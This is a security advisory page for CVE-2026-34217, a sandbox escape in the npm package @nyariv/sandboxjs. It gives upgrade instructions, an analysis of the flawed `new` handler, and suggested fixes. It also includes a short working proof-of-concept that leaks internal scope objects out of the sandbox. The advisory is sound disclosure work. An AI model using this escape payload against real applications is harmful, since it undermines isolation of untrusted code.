CVE-2026-34217: SandboxJS Sandbox Escape Vulnerability

MODERATE
Advisory Identifier: GHSA-hg73-4w7g-q96w
CWE-668
Published
Advisory Summary

CVE-2026-34217 is a MODERATE sandbox escape vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting SandboxJS libraries in the npm ecosystem. The issue involves sandbox escape via prop object leak in new handler. Remediation is available by upgrading affected packages to version 0.8.36.

CVE-2026-34217 at a Glance

CVE Identifier CVE-2026-34217
GHSA Identifier GHSA-hg73-4w7g-q96w
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product SandboxJS
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-34217

To remediate this vulnerability, upgrade all affected SandboxJS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.36
npm install @nyariv/sandboxjs@0.8.36
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-34217, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of SandboxJS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.36), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In SandboxJS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description A scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. ## Vulnerable Code Location ### Primary: The `New` Operator Handler **File**: `src/executor.ts`, lines 1275–1280 ```typescript addOps<new (...args: unknown[]) => unknown, unknown[]>( LispType.New, ({ done, a, b, context }) => { if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`); } done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized }, ); ``` This handler has **two missing sanitization steps**: 1. **Arguments (`b`) are not passed through `valueOrProp()`** — Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values. 2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** — The constructed object is returned directly to the execution tree without any sanitization. ### Comparison: The `Call` Handler (Correctly Implemented) **File**: `src/executor.ts`, lines 493–605 ```typescript addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => { // ... const vals = b .map((item) => { if (item instanceof SpreadArray) { return [...item.item]; } else { return [item]; } }) .flat() .map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized // ... let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals)); ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized sanitizeArray(ret, context); // ← Return IS sanitized done(undefined, ret); }); ``` The `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither. --- ## Why This Is Vulnerable ### Step 1: What is a Prop Object? The sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565–582). A `Prop` has: ```typescript class Prop { context: any; // The object the property belongs to prop: PropertyKey; // The property name isConst: boolean; isGlobal: boolean; isVariable: boolean; } ``` When sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object. ### Step 2: What is in `scope.allVars`? At the global scope level, `scope.allVars` is the same object as `options.globals` — the SAFE_GLOBALS object containing: ```javascript { globalThis: <real globalThis>, Function: <real Function constructor>, eval: <real eval function>, console: { log: console.log, ... }, Array, Object, Map, Set, Promise, Date, Error, RegExp, isNaN, parseInt, parseFloat, ... } ``` These are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map. ### Step 3: How the Prop Leaks Through `new` When sandboxed code executes `new Constructor(someVariable)`: 1. The interpreter evaluates `someVariable` — this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')` 2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call) 3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function 4. Inside the constructor, the `Prop` is received as a named parameter 5. The constructor reads `arg.context` — this is the raw `scope.allVars` object containing all real globals 6. The constructor stores this reference: `this.scope = arg.context` 7. The constructed object is returned without sanitization ## Proof of Concept ### Step-by-Step Reproduction (Terminal) #### Step 1: Create a new directory and initialize ```bash mkdir sandboxjs-poc cd sandboxjs-poc npm init -y ``` #### Step 2: Set module type to ESM ```bash node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))" ``` #### Step 3: Install the vulnerable package ```bash npm install @nyariv/sandboxjs@0.8.35 ``` #### Step 4: Create the minimal exploit ```bash cat > exploit.mjs << 'EOF' import pkg from '@nyariv/sandboxjs'; const Sandbox = pkg.default || pkg; const sandbox = new Sandbox(); const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run(); console.log(scope); EOF ``` #### Step 5: Run it ```bash node exploit.mjs ``` ## Impact An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope The attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern. --- ## Suggested Remediation ### Fix 1: Sanitize New Handler Arguments (Critical) Add `valueOrProp()` to constructor arguments, matching the Call handler's behavior: ```typescript // src/executor.ts line 1275-1280 addOps<new (...args: unknown[]) => unknown, unknown[]>( LispType.New, ({ done, a, b, context }) => { if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`); } const sanitizedArgs = b.map((item) => valueOrProp(item, context)); const result = new a(...sanitizedArgs); const sanitized = getGlobalProp(result, context) || result; sanitizeArray(sanitized, context); done(undefined, sanitized); }, ); ``` ### Fix 2: Sanitize Sandbox Return Values (Defense in Depth) Add deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced. ### Fix 3: Freeze the Globals Object (Defense in Depth) Freeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak: ```typescript Object.freeze(options.globals); ```

CVE-2026-34217 Affected SandboxJS Versions

1 component(s)
Fixed Versions:
0.8.36
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm
< 0.8.36
0.8.36

References

Frequently Asked Questions

What is CVE-2026-34217?
CVE-2026-34217 is a security vulnerability in SandboxJS involving Sandbox Escape via Prop Object Leak in New Handler under CWE-668: Exposure of Resource to Wrong Sphere.
Which SandboxJS versions are affected?
Affected versions include releases prior to 0.8.36 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-34217?
Upgrading to 0.8.36 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.36. Upgrade your dependency to 0.8.36 or later.
What CWE is associated with CVE-2026-34217?
CVE-2026-34217 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check npm dependencies for CVE-2026-34217?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hg73-4w7g-q96w",
  "modified" : "2026-04-06T23:18:33Z",
  "published" : "2026-04-03T21:45:38Z",
  "aliases" : [ "CVE-2026-34217" ],
  "summary" : "SandboxJS: Sandbox Escape via Prop Object Leak in New Handler",
  "details" : "## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275–1280\n\n```typescript\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n  LispType.New,\n  ({ done, a, b, context }) => {\n    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    done(undefined, new a(...b));  // ← b is NOT sanitized, return is NOT sanitized\n  },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** — Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** — The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493–605\n\n```typescript\naddOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {\n  // ...\n  const vals = b\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return [item];\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // ← Arguments ARE sanitized\n  // ...\n  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n  ret = getGlobalProp(ret, context) || ret;  // ← Return IS sanitized\n  sanitizeArray(ret, context);               // ← Return IS sanitized\n  done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565–582). A `Prop` has:\n\n```typescript\nclass Prop {\n  context: any;       // The object the property belongs to\n  prop: PropertyKey;  // The property name\n  isConst: boolean;\n  isGlobal: boolean;\n  isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` — the SAFE_GLOBALS object containing:\n\n```javascript\n{\n  globalThis: <real globalThis>,\n  Function: <real Function constructor>,\n  eval: <real eval function>,\n  console: { log: console.log, ... },\n  Array, Object, Map, Set, Promise, Date, Error, RegExp,\n  isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` — this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` — this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat > exploit.mjs << 'EOF'\nimport pkg from '@nyariv/sandboxjs';\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler's behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n  LispType.New,\n  ({ done, a, b, context }) => {\n    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    const sanitizedArgs = b.map((item) => valueOrProp(item, context));\n    const result = new a(...sanitizedArgs);\n    const sanitized = getGlobalProp(result, context) || result;\n    sanitizeArray(sanitized, context);\n    done(undefined, sanitized);\n  },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.36"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.35"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34217"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:45:38Z",
    "nvd_published_at" : "2026-04-06T16:16:34Z"
  }
}